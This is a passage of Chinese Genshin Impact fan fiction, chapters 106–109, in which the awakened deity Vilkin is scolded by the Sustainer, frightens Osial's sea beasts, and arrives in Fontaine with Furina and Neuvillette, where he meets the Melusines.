奥赛尔心脏咯噔了一下。 远古的漩涡之魔神占地面积极大, 哪怕其万丈身躯完全是由水聚成,也完全改变不了只要稍微有些许动静,就能立马被妻子跋掣发现的命运。 惊觉奥赛尔突然瑟缩身体的跋掣支棱其纤长的身躯, 极其大胆地反其道而行之, 探出脑袋, 警戒地望向周围。刚刚还在慢腾腾挪来挪去的奥赛尔小弟们已经整齐划一地火速把头埋到崎岖的礁石缝隙里, 一条长长的触须从身下袭来, 包裹住跋掣瘦长的蛇躯,那是奥赛尔默默的把妻子扒拉下海底。 当年,漩涡之魔神的妻子并没有伴随着奥赛尔的战败一齐被驱逐至暗之外海,摩拉克斯对这位手下败将的妻子并没有多加为难,加之跋掣本身处于一个“只要安安分分待在海底不冒头就没人管”的状态, 她幸运地在孤云阁附近的海底陪着自己的丈夫度过了大部分只能与灵魂共处的时光,也恰好错过了那些年天理对长生种们的屠杀现场和驱赶生物至暗之外海时毫不留情的模样。 不明所以的跋掣顺着触须缠住紧张得瑟瑟发抖的丈夫,试图让不过才堪堪重逢四百余年的丈夫冷静下来。 【祂反悔了吗?】 一个声音突兀地从海水中传来。 可惜没有任何人回答这个问题。 沉默迅速蔓延至整个海面, 又顺着水路融进了岩石与山脉的缝隙中, 再在烈日的蒸发下被风带给云朵和雷暴,顺着世界的呼吸,向每一位魔神战争中的幸存者、以及从暗之外海归来的被赦免者给敲响了警钟—— 时隔四百年, 沉睡的天理已然再度苏醒。 并且, 这一次苏醒, 还同时伴有魔神以及古龙的气息。 有人担忧, 自然也有人兴奋。 魔神战争已然过去千年, 而坎瑞亚的战争中除了暗之外海的长生种们之外,更多的异类们并没有从中获得到足够多的利益。反倒是因为那些强大的长生种们重归提瓦特,而不得不将本就被人类侵占的栖息地再分出一部分给这些强大的远古存在。 还有人类。 尘世七执政能够庇护他们,指引他们, 但不要忘记,这一馈赠来源于天理。 四百年前,天理已然收拢了对长生种的偏见,而只是单单这一点,就已经让他们从龟缩在无人与资源匮乏之地发展为如今的遍布四海七国、甚至已经隐隐融入人类王国的景象。 主流观点认为,天理已经对人类产生了嫌隙,极有可能会默认非人类们重新占有这个世界。 但是唯有经历过一切的长者们才明白,自始至终,高居于御座的那位始终还是怜爱着人类。 只不过,万一呢? 谁知道这一次,祂是会宣告长生种的时代再度伟大,还是人类的世纪依旧延续? 没人知道。 哪怕是尘世七执政也不能。 毕竟芙宁娜穷尽脑细胞也没能想明白,为什么这位鼎鼎有名的、经常被厄歌莉娅和阿佩普用来举反面例子的老上司发出要去枫丹视察工作的雄心壮志之后,就反手给自己来了一招黑虎掏心。 “……那个,维尔金大人,您是在找什么吗?” 芙宁娜用尽全力才让自己此时的问题听起来不像那么的无知,但是她还是失败了——谁家好上司才睡醒就掏自己心窝子啊! “骨头……降临者的骨头。” 还得是见多识广的斯库拉,只要活得久见识必定广的传世真理在此时发挥了显著作用,他惊声尖叫: “你居然把降临者剩下的骨头塞到自己身体里了?!” 芙宁娜听完肃然起敬。 她现在也多多少少能够理解为什么每一位同事提起这位沉睡的老上司的时候,总是会露出一脸难以启齿的表情。 果然,一切都是有原因的。 “……真是可怕的生命力和令人无法理解的方式。” 哪怕是一贯以可靠形象展示在世人面前的那维莱特也被实实在在震撼到了,发出了直击灵魂的拷问: “我冒昧问一句,维尔金先生,请问你究竟是出于什么目的,才会把敌人的肋骨放置在自己的躯壳内呢?” “你不觉得很方便吗?” 维尔金理直气壮地反问道: “愿赌服输,我支配自己的战利品,还需要他人评判?更何况我已经很宽容了。” 这下不光是那维莱特投来不解的眼神了,就连维尔金看好的后辈也投来异样的目光。 毕竟,不管是从哪个角度和传闻来看,维尔金本人都跟“宽容”这两个字扯不上任何关系。 但维尔金显然想错了点,倍感自己多年来一直被冤枉的原初之神发出强烈抗议: “你们不会以为神之心那个七彩斑斓的鬼样子是我的审美吧?那玩意可是第三降临者的审美,跟我一点关系都没有!!” 好吧,完全不意外的答案。 虚假之天,或者说「天理」维尔金,着实是一位不羁到脱线的神明。 那维莱特试图接受这一观点,只是—— “斯库拉。” “那维莱特大人?”斯库拉呆呆的扭过头,映入眼帘的就是龙王那张充满不解和困惑的脸、 “……当年……古龙们就是输给了这样的对手吗?” 斯库拉短暂地怀疑了一下自我,事实上,他对那段充满了痛苦和屈辱过去的细节已经有很多地方记不太真切。天理加诸于世间万物的、名为磨损的枷锁同样应验在这位年长的水龙蜥王身上。 他只记得,那时的虚假之天根本没有如此拟人的形态,既不宽容,更不慈悲。锐利的尖爪能轻而易举地撕开大地的脉络,振翅一挥就能破开空间,祂那时说过话吗? 或许有,但斯库拉想,那时的虚假之天,是绝计不会像如今这样对非人之物解释自己的用意、甚至好心好意(虽然芙宁娜不太领情)地帮忙的。 太奇妙了! 时间居然让一个掠夺生命的刽子手变成了一个宽容大量、甚至能算得上是和蔼可亲、体恤下属的拟人上司。 “那维莱特大人,虽然我不太愿意承认——” 斯库拉看着在热络地给呆若木鸡的芙宁娜演示如何用肋骨混合血液、再豁楞豁楞就能制造出神之心低配版的虚假之天,委婉地说道: “但我想,或许祂从来都都没有变过。” 只要能够细细观察便能发现,维尔金其人,从始至终,就只对人类有好脸色。 只是在数千年后,这个范围囊括到守护人类的魔神、与人类共处的长生种而已。 “你说维尔金?他可变了不少,只是原本你们也没什么沟通机会,所以误以为他一直是这样而已。真要是怀念以前的维尔金,我不介意让派蒙把你丢回那时候,天真的水龙蜥。” 一道陌生的女声陡然从两条窃窃私语的水龙身后传来。来者直接略过了被当场抓包的两条水龙,像是如她突然出现的那样,又阴森森地闪现到维尔金和芙宁娜中间,冷笑道: “睡醒了不上去在这干等,是在等我摇人过来把你抬上天空岛吗?” 陌生女人,或者说现任天理、却依旧自称为『天理的维系者』的女人双手环胸,慢吞吞地环视了一圈现场,随后长长叹了口气: “你们几个,能不能对自己的身份稍微有那么一点点自觉?” “再不走,整个提瓦特都得以为第二次魔神大战要开打了。” 第106章 第 106 章 任何年假都将被绳之以…… “这就是我最烦他们的一点。” 维尔金没好气: “弱小, 多疑,极易被煽动,却又有着比人类强烈得多的骄傲和所谓之自持。如果说个体的人类受限于寿命而难以充分汲取到前人的经验, 而长生种们却仍然难以从过往的教训中得到应有的知识, 而是不断地用自己本就有限的智慧, 去妄加揣测, 然后犯下不知道第多少次重复的错误——” “明明我两千年前就说过了。” “只要遵从我的规则, 就能安然活下去。难道这句话夹杂了某种智慧生物无法理解的言语,导致他们没有一个人记得住吗?” “他们太害怕了。而且怕你怕得要死。” 维系者平淡又理性地指出这一关键,对丝毫没有一点自觉的维尔金翻了个白眼: “没空给你做心理建设,反正丢人的是他们又不是你,别管那些有的没的了, 赶快把你这破窝拆了,我好直接传送回天空岛上。还有你,芙卡洛斯—— ” "是!"芙宁娜赶紧应声。 “以后流程不要着急走, 更不要因为前面积压的待批复文件过多就想着一步到位跑来拿维尔金的本体。” 维系者面无表情, 芙宁娜不知道这是看在维尔金的面子上隐忍不发,还是这位职业生涯极其漫长的维系者已经在漫长的工作时间中看惯了蠢货,总而言之, 在公事公办的提醒流程之后, 这位严谨的天空岛实权一把手、但自谦为二把手的大佬不轻不重地敲打了一句: “总之, 下不为例。” 芙宁娜双膝并拢利索保证:“请您放心!下次绝对不敢了!” “……最好如此, 不过我对此持保留态度。” 维系者敲打完芙宁娜, 又转过头去看自己的老上司一个人任劳任怨地打扫垃圾—— 或许称之为深渊污秽的残留更为恰当? 事实上,维尔金当年直接选择沉眠于坎瑞亚还有其额外的考量。这么多年来新任的两位降临者执政跟派蒙总是乐此不疲地散布“天理是因为被坎瑞亚人伤心到开始怀疑自身才陷入沉睡”的传世谣言……虽然维系者不否认的确有这一部分,但更加重要的是,坎瑞亚在当时, 已经成为了一个随时有可能把整个提瓦特炸上天的炸弹。 而除了维尔金本人,没人能够处理这个引线已经被点燃的炸弹。 维系者沉默地看着龟裂的地表和再无生命气息的旧日之无神的国度。 时隔四百年,被这片土地原本的主人挥霍掉的生机和力量仍然没能恢复……这太不正常了。 维系者甚至感觉,这片土地已经成为了一个在不断漏水的筛子,可那些生命的源泉又顺着裂缝流向了哪里呢? 没人知道。 她只能寄希望于自己的忙碌能够延缓毁灭和虚无的降临,只要不是做无用功就好。 “辛苦你等会帮我直接扔回寝宫了——如果我还有这个东西的话。” “一切仍然保持原样。”维系者言简意赅,虽然话语中听不出来,但是个人都能从那副常年冰封的表情中看出来,她的面容柔和了许多,嘴角甚至扬起了一点点不易察觉、又确实存在的微笑—— “我们都在等你回来。” 维尔金一顿,最终,还是只能蹦出一句不该存在于他们这种老朋友之间的、格外生分的话语: “谢谢。” “大可不必,你现在要做的就是回去干活……感谢那两位热心肠的热到能够烤熟暗之外海的两位降临者吧,有他们在,我跟派蒙才不至于被累死。” “啊,这个嘛……” 维系者眉头一皱:“你还在寻思你那不切实际的退休大业?” “这不是重点……”维尔金卡壳了一瞬,然后心虚地解释道,“这不是还有近在眼前的枫丹预言危机吗?能让芙卡洛斯不远万里只是为了拔下我的本体,用以遮蔽命运和星辰的预言……我不去,似乎又有点太不合适了。” 理论上确实,如果事情已经严重到需要借用维尔金的本体,那他当然有必要去亲自看看。 前提是事情真的有如此严重。 被直属上司狠狠盯住的芙宁娜:这,她也没招啊! 谁能想到天理的睡眠浅成这个鬼样子! 明明她还刻意虚心请教了远在沙漠的布耶尔和阿蒙前辈,以及远在璃月的摩拉克斯前辈,明明所有人都说,像龙这样远古又皮糙肉厚的物种,别说是抠一点角质层下来,就算是拔块鳞片,只要不是逆鳞这种打断骨头连着筋的东西,是绝对不会醒来的!! 连龙都不会醒的、如同挠痒痒一样的感觉,谁知道天理居然醒了! 要是让维系这点知道芙宁娜居然拿龙的习性举一反三到维尔金身上,怕不是会被气到厥过去。 众所周知,维尔金的本体是蛋壳。 那么问题来了,从一条皮糙肉厚占地面积极大的龙身上揪一块巴掌大的鳞片,和从一个蛋壳身上扯下来一块碎片,这能一样吗? 要类比也得是类比从龙身上卸下一块骨头来吧?! 不过这的确怪不得芙宁娜。 许多在魔神与尘世七执政之中理所应当的事情,她都浑然不知。 作为「人」的芙宁娜无须知晓太多,而作为「神」的芙卡洛斯也是与外界隔绝,于是信息的鸿沟越拉越深,甚至到了 “天理的下属不知天理的本体为何物”的恐怖地步。 只是还好,除了抠老上司本体这种事情之外,芙宁娜还没有做出更加惊世骇俗的操作。 思来想去,维系者捏着鼻子认下了免费搬运工的工作。 临走前,已经有十三个秋天不曾休憩的维系者放下狠话—— “解决你们的那破预言就给我迅速返岗!不许找理由赖在下界不回来!还有你,芙卡洛斯,给我盯着他!一旦完成工作火速向我汇报,我亲自下界接人!” 说完,那些被维尔金手动堆积在一起的深渊残余们都被疯长的黑红色方块覆盖,紧接着便是疯狂的压缩,直至成为一个不过手掌大小的漆黑方块。 红黑色的裂缝从半空中划开,芙宁娜大着胆子偷偷瞄了一眼,直接那深邃恐怖的裂缝之后,居然是一片纯白圣结如梦幻般的土地。 维系者掂量着手上的压缩方块,头也不回地飞入裂缝之中。 作为目前天空岛的实质一把手,能够分出时间下界专程见一趟维尔金已经实属不易,她还有数不清的工作等着她亲自处理。 而作为多年的同僚兼朋友,维系者并不介意维尔金时不时给自己放放风—— 反正,工作是永远做不完的。 而枫丹的预言,她不信芙卡洛斯没有做好迎接的准备。 那就把这次当做是给天理大人放的年假吧—— 瞬移回天空岛的维系者恶趣味地想。 不知道等自己再下去把他抓回来干活时,知道自己的年假被一口气全部销掉的天理大人,会是一副多么有趣的表情呢? 光是想到这副有趣的画面,维系者干活都有劲了些。 坐在水龙蜥背上的维尔金狠狠打了一个喷嚏。 真是奇怪。 维尔金陷入思考:明明维系者都回去干活了,怎么还是有一种被坑到的感觉? 天理大人的目光转向正在急急忙忙联系枫丹庭和下属迎接自己上司莅临的年轻水神。 ……难道芙卡洛斯也是一个堪比维系者的可怕卷王?还是说,是会拉着别人一起卷的那种可怕型魔神? 维尔金结结实实打了个寒颤。 那种事情,可千万不要啊! 第107章 第 107 章 苦逼天空岛打工人和家…… 维尔金并没有排挤热爱工作的好下属的意思。 恰好相反, 他发自内心地希望手底下少些摸鱼人士,多些干活的魔神。只是凡是也需要有个度,若是都想维系者那样……维尔金非常怀疑, 整个天空岛会变成坎瑞亚升级版——特指在一点就爆这一方面。 虽然他也会好好工作, 哪怕沉睡的时候也会砸死梦境中认认真真干活啦, 但是扩招的目的不就是额让大家的工作量下来些, 不是吗?如果一天到晚又是扩充眷属名额、又是增收天空岛干活型人才结果工作量还没有任何改善, 大家还是只能靠着派蒙的神奇时间怀表偷摸想休息,那岂不是意味着他又白忙活一场? 总而言之,先好好放松吧! 坎瑞亚离枫丹并不算遥远。或者说,凡是地上水系所及之处,对于水龙一系的佼佼者以及水神而言, 都算不上遥远。 对于斯库拉而言,长久的封印生活让他习惯于畅游于深水,但像现在这样, 裸露着鳍背和尖角, 只需要稍稍摆动尾巴调整方向的感觉才是真正让他拥有了回归自由的真情实感。 只是落在许许多多熟悉斯库拉的长生种眼里,这种雀跃和欢脱甚至堪称诡谲。 许许多多的长生种们都热衷于藏匿于水中。 一方面,由于被驱赶到暗之外海的共同记忆, 许许多多的长生种们都对干燥的地面多多少少产生了一些创伤后应激障碍, 一爬到岸上就感觉浑身起满鸡皮疙瘩, 时时刻刻都觉得会有一只从天而降的大鸟一把擒拿住他们脆弱的咽喉, 把他们撕成一条一条的肉干, 然后均匀地种植在世界树的根系,美美成为提瓦特的一份子—— 物理上的。 所以,以海兽们为首的怂怂怪们一直觉得还是水里好,至少跑路的时候熟练一些, 而且跑路的路线比陆地上多得多,再不济,从好几个方向跑,生还率这不一下子就给提上来了? 有这样想法的长生种不在少数,倒不如说像斯库拉这样胆大包天又幸运得令人嫉妒的家伙才是少数。除了魔神以及他们麾下之眷属以外,大部分的长生种对人类并不感冒,而数千年过去,少部分曾经与人类或是魔神结下深厚友谊的长生种们也再难以找到故人旧地。在暗之外海时,他们的消息大多来源于连滚带爬跑出提瓦特的新人,偶尔可以从游荡的鱼群和不详的风暴里聆听到提瓦特的兴衰悲欢,但那太遥远了。 遥远到故交的名字随着时间的更迭变了一遍又一遍,记忆里的峡谷变成了森林,曾经的河道成为沙漠,刻下友谊见证的石碑被吹入暗无天日的遗迹,等待着几千几百年后,某位强大的冒险家从层层灰霾和沙土中清扫出他们的记忆—— 不是每一个长生种都像斯库拉一样幸运。 绝大部分长生种,依旧如过去的几千年时光那样离群索居,除开时不时会瘫在沙滩边晒晒太阳,无聊的时候会把鱼群驱赶到漩涡里看它们瞎打转以外,好像没什么很大变化。 尤其是奥赛尔的小弟们。 这些搭伙过了几千年的海兽们依旧保持着时时刻刻境界和从水流中打探消息的好习惯。 今天值班的是触须很多的克拉肯。 按理说,提瓦特内部比暗之外海和平不少,魔神们都像进入了倦怠养老期,大部分人类对挣钱和探索遗迹宝藏的兴趣远高于探索从暗之外海归来的长生种们,除了那帮很烦海兽的学者以外,大部分时候,值班的海兽只需要瞄两眼海面就行。 但是坏就坏在,天理居然醒来了,还好死不死传出了两条古龙的气息。 奥赛尔严阵以待,同僚们也悉数被惊醒,从香甜的睡梦中连滚带爬缩进自己的庇护所中,忧心忡忡地等着天理发疯,或者传来古龙成功战胜天理解放非人类的喜报。 然而什么都没有。 比深渊更可怕的气息只是短暂溢出一些后又迅速地消失不见,整得大家都挺尴尬的,不知真相又感知迟钝的人类还以为海里的长生种们又犯了集体癔症。后来又是那位维系者的力量,但似乎也没有在地上停留过久,就很快返回了天空岛。 克拉肯揉了揉自己刚刚混乱之中被不知道是哪个忙里偷吃家伙啃掉的惯用触须断面,又难过又好奇。 那两条龙,天理不光没宰了后用来给世界树浇水,还跟着一起朝枫丹移动—— 信息量太过庞大。光这一句话,足够他们一起讨论三年。 克拉肯冷静分析了一通后,毅然决然地向自家老大奥赛尔的方向爆冲,然后一头扎进跋掣的头上那蔟宝蓝色的羽鳍上—— 奥赛尔抬起最中间的头颅,钴蓝渗人的眸子让刚刚脑子一热的克拉肯瞬间冷静下来,不等奥赛尔开口询问,急忙伸出自己的触须,将刚刚感知到的一切信息分享给大家。 【斯库拉终于也疯了吗?好可惜,还以为以后能够一起赶鱼……】 【好奇怪,一头水龙蜥载着一头水龙、一个天理、还有一个魔神。提瓦特终于要毁灭了吗?】 【所以刚刚那股气息只是我们多想了?祂居然真的转性了!?】 毕竟四百多年来,大家一直都相安无事,甚至偶尔还有海兽大着胆子去靠近人类国度的渔场换换口味。想来闹那么大动静,估计只是那位原初之神被打扰睡眠的本能发作吧! 这回大家的意见出奇的一致,天理也不过是位格更高长生种,同为长生种,大家自然清楚在安眠时被打扰会多么生气。更何况根据海风和水系给出的信息,斯库拉还拉着龙王和水神一起去揪天理的本体? 那看来天理的脾气确实好上了不少。 满意地消化完这一对所有人类和非人类都是天大的好消息之后,漩涡之魔神奥赛尔立即下达指示: 【克拉肯,继续盯着斯库拉,一旦有任何消息立刻汇报。】 【可是,可是老大……】 克拉肯甚至要把自己的触须拧成麻花,憋了老半天才磕磕绊绊地说道,【我们不像斯库拉那样有厄歌莉娅这样已经在天理麾下做大做强的熟人诶……擅自窥探那位,真的不会惹祂生气吗?】 对哦,这个问题可太关键了。 偌大的海域顿时安静下来,海兽们都屏气凝声,全体目光朝奥赛尔看齐。 奥赛尔,漩涡之魔神,正儿八经的前·尘世七执政有力竞争者之一。若不是杠上的是如今璃月地区的执政官摩拉克斯,加上他本人又偏爱水族,只在对人类存在着食物上的朴素喜爱,难以得到天理的青眼,不然的话,在天空岛混个差事出来也未必是什么难事。 眼见所有小弟都期待自己给出答案,奥赛尔顿感无语。 但克拉肯的担忧也不是没有道理,思来想去,奥赛尔决定发动一下自己久违的神脉,寻求一下内部人士的帮助。 “兄弟兄弟,事情就是这样。你那里有什么眉目吗?大家都挺害怕的,就指望你那边透点信了。你说,天理大人会不会生气啊?祂那起床气的老毛病是治好了吗?” 远在天空岛上有气无力批改公文的大蛇翻了一个大大的白眼,一尾巴熄灭掉爆闪的低配版神之心后,换了一个姿势继续完善白夜国的历史遗留资料。 从被巴尔泽布创造后就被造物主一把扔上天空岛为繁忙的上司分忧的散兵极其大声地“切”了一声。一旁寿终正寝后因为跟地脉之花相性极好所以被维系者一把擒拿充当壮丁的丹羽久秀夹在两个烦躁的长生种同事中间,对另一边看不见状况的奥赛尔抱歉地笑了笑,解释道: “不好意思奥赛尔先生,您拨打的是七国事务兼深渊报备专线,不受理咨询业务。询问深渊/虚假之天、降临者相关事项请直接电联维系者,询问深渊污染及诅咒问题请联系若娜瓦大人,询问非坎瑞亚世界内部问题请联系派蒙大人,询问炼金专项及创生基本原则请联系纳贝里士大人,询问七国具体政策及相关政策请直接联系对应尘世执政,您是想询问关于维尔金大人的问题吗?我们这边马上给您转接到维系者大人那边——” “转接给奥罗巴斯,谢谢你。” “不好意思,刚刚就是奥罗巴斯扔给——” 奥罗巴斯以迅雷不及掩耳之势凑过来:“兄弟我来了,刚刚领导找,正好没在。什么事?” “没听到吗?那我再重新给你复述一下,今天克拉肯值班的时候……” “就是你想尾随维尔金大人的动向但是怕祂生气吧?别想那么多,祂不会介意一只迷迷糊糊的小章鱼……有那点闲心你要不也让维系者给你安排点活干?闲的你那没海星大的脑仁都开始思考问题了兄弟。” “不,我要陪跋掣,跟你这种没家室的说不清。” “那你玩去吧奥赛尔,兄弟忙得要死,没空陪有家室摆烂魔神开玩笑。” 奥罗巴斯挂断了电话,奥赛尔穷追不舍继续拨打热线。面对着同事们想要把自己的皮扒掉炖汤的眼神,奥卢巴斯按下低配版神之心。 “先别挂兄弟,求求你了,总不能让我找赫乌莉亚或者摩拉克斯那个王八蛋吧?我倒是想找芙卡洛斯,小姑娘不错,但是在老大眼皮子底下我也不敢去旁侧敲击啊!万一以为我有异心怎么办?而且,要是只有我一个也就算了……”一说起这个话题,奥赛尔也沉重了许多,着实是重重长叹一口气,“像克拉肯他们,本来脑子就不灵光,这要是不给他们搞清楚,怕不是直到天理大人回归御座,才能睡着觉了。” “这倒是。”奥罗巴斯若有所思,“不过我认为你不需要太过担心,如果祂生气的话,咱们早完了。” “哦?我姑且认为维尔金大人尚且还不曾回到天上?” “通话是由维系者大人实时监控的,奥赛尔,她已经用实际行动告诉了你如今的天空岛以及天理大人的态度——” 奥罗巴斯还没说完,扛着维尔金全副四百年独居家当的维系者刚收拾完视察工作就抓住了不安分的下属,一个健步上前一把擒拿住上班时间扯闲谈的奥罗巴斯,夺过低配版神之心,张口道: “只要不违背天空岛颁布的规则,就算管不住嘴也无伤大雅。听不懂的话自己上天空岛我亲自给你举例说明,顺便一提,所有通话记录存档世界树,由我跟派蒙轮流监控,所以,别拉奥罗巴斯一起摸鱼,他很忙。”—— 作者有话说:补上迟到的端午节安康 以及六一快乐! 希望大家都开开心心,健健康康[比心] 第108章 第 108 章 斯库拉说这未免有点倒…… 啪叽—— 奥赛尔一抖, 面条一样的身体顺溜地滑入海面,徒留看不懂眼色的克拉肯之类的海兽们还漂在海面。 克拉肯壮着胆子探头疑惑:【奥赛尔老大?】 奥赛尔沉吟半分,真诚地建议:【……克拉肯, 你要不收拾收拾东西回孤云阁?我觉得那地方比较适合你未来的发展】 【昂?】 奥赛尔从善如流:【洗洗睡, 实在不知道干什么就去找个对象吧。】 以克拉肯的智商, 还是不要告诉他太多事情为妙。 【啊?】 【不必再去打扰维尔金大人的清净, 想要像之前那样窝在海底的礁石, 那继续趴在缝隙就好;想要飘在海面上随洋流而动,那继续躺在海面晒太阳就好;同样,想要去人类的国家就去吧,想要去找寻自己曾经留在提瓦特存在的证明也去吧……】 奥赛尔言简意赅,发出指示: 【我们已然是应允畅游于海面、行走与地上的物种, 天空已然赦免了我等的枷锁,那我等也无须妄加揣测天空的意图,只需遵守规则、安心生活即可】 只有极具责任心的克拉肯小弟追问:【老大你不是说要去找奥罗巴斯大人套些天空岛的小道消息吗?】 奥赛尔呼吸一滞, 很快, 小弟们就知道老大为什么说该去哪去哪了—— 天空裂开了一道口子。 从星空深处的阳光洒落在海面,似乎就连漆黑的深渊也能被这一束光芒照透。惨白的礁石、被啃食得精光的海草,还有小弟们拿来打发时间的鱼群, 在那道耀眼的光芒下一览无余。 不像是太阳, 而更像是…… 来自于那位原初之神明的视线! 奥赛尔水嫩的表皮都要炸开了, 尾巴和长长的脖颈胡乱拍: 【住口!我不允许你们挑拨我跟前老板完美的上下级关系!全部给我滚回自己的海域, 爱睡觉睡觉, 爱捉鱼捉鱼,反正别来烦我!哪天天空岛要撵我们走哪天再说!解散!】 唔……奥赛尔居然长脑子了?不错不错,这回终于不会给他添乱了。 维尔金满意地收回目光。 奥赛尔这家伙,不光跟其他魔神格格不入、创造了属于自己的家庭, 还对人类存在一些生理上的排斥。不过维尔金已经看开了,奥赛尔这样也挺不错,不仅老老实实遵守规则,好好地在无主的海域休养生息,还统帅着一帮水族小弟,也算是为提瓦特的物种稳定做出了卓越的贡献。 不过……宁愿去找维系者都不愿意找地上的执政官们旁敲侧击吗? 嘶……看来奥赛尔还挺记仇的,之后要不跟摩拉克斯提个醒……还有芙卡洛斯,摩拉克斯对待奥赛尔那确实是手拿把掐,可芙卡洛斯与奥赛尔同属水源,说不定以后还会存在竞争关系。 维尔金又悄悄向海兽们待着的那片海域投向视线。 天空中又再度裂开一条巨大的裂缝,比太阳还要猛烈的灿然金光再一次闪瞎视力已经遭受巨大创伤的海兽们。 海兽们:这还有完没完? 实在不行的话把他们撵回暗之外海吧!那里虽然食物少了些,景色少了些,力量流逝得快了些,但是至少不用在这里饱受天理的摧残啊! 不知道自己过分窥探已经让可怜海兽们苦不堪言的维尔金放心地收回了自己的视线,确认了一切顺利后,他现在心情相当不错。 看来,非人类和人类的和平发展在自己休憩的短短四百年里,已经得到了长足的进步。 随意安抚一下斯库拉已经炸开的鳞甲,维尔金收敛窥探的化身和视线,重新将注意力聚焦于这个自己已有数千年不曾造访的国度。 和老前辈摩拉克斯的古朴典雅璃月风以及巴巴托斯的宫廷骑士兼田园风不同,枫丹着实是一座高大、肃穆、又洁净的国度。 四通八达的水系将岛屿链接,居于中央的大陆坐落着维系整个管家正常运转的政务机构和核心人员。哪怕是偏僻的小岛,枫丹的航线也能将其紧密连接。但于此同时,这也意味着,一旦城市中枢遭到破坏,对枫丹的打击绝对是毁灭性的。 芙宁娜忐忑地观察维尔金的表情。哪怕是短暂的对某个事物好奇的几秒停留,也会让芙宁娜警铃大作,生怕有什么地方碍着这位强大和粗神经并重的前·据说脾气非常之差·但是相处下来又感觉非常平易近人的老领导。 “不主动向我介绍一下你的枫丹吗?” 芙宁娜毫不掩饰的不安终于是让维尔金忍不住开启另一个话题。而这位自以为自己的视线非常收敛、天理尚未察觉的水神被点到名的一瞬间不免慌乱了一瞬。但紧接着,芙宁娜就意识到这是一个绝佳的机会—— 一个向天理展示「芙卡洛斯」以及「厄歌莉娅」数千年来持之以恒努力的机会! 虽然第一次汇报工作完全没有任何准备,但她有什么好害怕的呢? 不论是厄歌莉娅前辈还是她和那维莱特,他们都有在努力建设枫丹。 近些年来才漂洋过海来到枫丹附近水域定居的长生种们先暂且不提。毕竟新政策总是需要一些时间适应,而其他方面,哪怕是天理想要刻意刁难她,芙宁娜也完全不怕。 这可是她熟悉大本营,这里有她那热切的子民,还有这熟悉的枫丹庭一砖一瓦,那一块不是正义之神和她的子民们的杰作?! 相当这里,芙宁娜昂首挺胸,又变回了那个在众人面前骄傲华丽的众水的神明,她自豪地向这个世界的主人、曾高居于御座的天空岛之主骄傲地宣布—— “维尔金大人,欢迎来到,水的国度!” 无须质疑神明的伟业,无须质疑魔神爱人的本能。 无论是「芙宁娜」,还是『芙卡洛斯』,这座城市的崭新面貌必然归功于她「祂」。 “芙宁娜大人,那维莱特大人,还有斯库拉大人,你们回来啦!” 一只小巧的美露莘蹦蹦跳跳地前来为斯库拉引路,巨大的水龙蜥一旦显现本体可比不少货轮吃水还要深得多。脆弱的机械造物以及或木质或晶石质的龙骨可经不起远古龙族的随意甩尾。哪怕是刻意收敛了力量和力气,斯库拉的出现还是让码头上不少工人惊呼,连固定在泊位的船锚都发出低沉的颤鸣。 芙宁娜由衷庆幸自己在收编斯库拉之后就让蒸汽鸟日报的知名记者夏洛蒂女士写了一篇专访,向枫丹大众倒反天罡地把斯库拉解释成为美露莘的同族们。 虽然斯库拉本人对自己的身份被扭曲为美露莘这一点意见很大,但民众们接受得很快—— 拜托,这里是枫丹! 不喜欢美露莘的伪枫丹人自己圆润滚蛋可以吗? 这么可爱的美露莘辛辛苦苦地维系着枫丹庭,她们家里的宅家长辈想要在伟大的正义之神芙宁娜女士麾下做事,难道是什么需要反对的事情吗? 更何况,是稀有的巨大形态美露莘诶! 芙宁娜大人有这个作为出行坐骑,可不就是在给他们枫丹人狠狠涨脸? 因此,在短暂的惊慌和混乱之后,水手们不仅很快镇静下来,有几个胆子大的年轻人还试探性地想要拿风帆、甚至是用手去戳一戳斯库拉。 或许是由于这个世界原本就属于龙类,哪怕是从来没有见过真正龙的人类,天生也对斯库拉这样本体巨大、看起来充满威严和压迫力的远古巨兽产生出一丝丝隐秘的遐想。 人类的联想力是丰富的。 一想到这么帅的美露莘是水神大人的坐骑,那四舍五入,不就是他们枫丹人都跟着沾光了!! 事以至此,面对暖烘烘的人手,斯库拉有一个小小的意见: “维莱妲,可以麻烦你把这些人疏散开吗?”斯库拉强忍着甩懂尾巴然后发出呼噜呼噜声音的本能,用千年的意志发出求救的讯号,“或者给我找一个深水泊位,要最深的,这些人挠的我好痒。” “啊,好的!斯库拉先生,快跟我来这边!” 斯库拉招呼着从人群里挤出来的维莱坦,后者见到这越来越扎堆的围观人群,当机立断摇来了总站大厅正处在休假状态的便衣前辈莱弥娅,后者又引来了一大堆借着帮忙来围观的美露莘们。 类似龙蜥却又拥有特化的拟人形态,拥有智慧的同时看上去力量不甚强大,本源沾染着深渊却意外的温和友善……嚯,居然是那个坎瑞亚炼金术士成品的衍生物。从毁灭中诞生的生灵吗……拥有被结合物种的形态,不知道还保留着的多少独属于深渊生物的本能。 维尔金仔细端详着美露莘们的外表,那双能够看破世上一切真理之眸已然将诞生不过四百年的小小生灵的来龙去脉悉数厘清。 “这真是一个奇迹。”维尔金由衷地赞叹,然后看向不明所以的芙宁娜,兴致勃勃道,“这可是一群能够让坎瑞亚炼金术士发狂的奇迹,不,就算是我也不得不承认,命运就是如此奇妙。罪人们苦苦追寻的,在掌握深渊力量的同时避免被其污染的可能,居然在他们灭亡之后出现在提瓦特。” ——糟糕! 一路上都心神不宁的芙宁娜顿时神经紧绷,冷汗直冒。 她终于知道为什么一路上自己总觉得还有什么东西没藏好,原来是美露莘! 这么多年以来,美露莘们已经成为了枫丹的一部分,加上一切都太过顺利,导致她居然忘记提起给老领导做下心理建设,就这么猝不及防地跟美露莘撞上了!! 可是问题来了。 一个巨大的困惑缓缓浮现在芙宁娜心头: 刚刚的评价,是在夸奖美露莘,还是迎来诘难的前奏? 第109章 第 109 章 当你的领导亲自为你讲…… 根据芙宁娜在维系者面前汇报工作的丰富经验, 上司反问必是诘难的前摇。但是维尔金表现的态度却和那种“明知故问的诘难”大不相同,不像是对枫丹给美露辛们安排工作、支持他们融入人类群体有意见,反倒真的只像是在单纯的感叹这些从污浊血液和肮脏欲望中诞生的纯粹精灵之奇妙, 以及命运的不可捉摸。 短暂的沉默让刚刚被声音聚集过来的美露莘们很是茫然。 “大大的、漂亮的的蛋先生, 你在说什么呀?深渊?是大家居住的水下洞穴吗?” 维尔金瞳孔微微收缩。 拥有和他一样的反向视界, 看见自己虚假外表下的真实面目却仍然觉得美丽而不是排除和恐惧……错不了, 这就是深渊魔物的根本特征。 美露莘一族的的确确是深渊魔物。 但是……身上完全没有污染的痕迹, 只是对世界的认知和正常的提瓦特原生物种不一样。 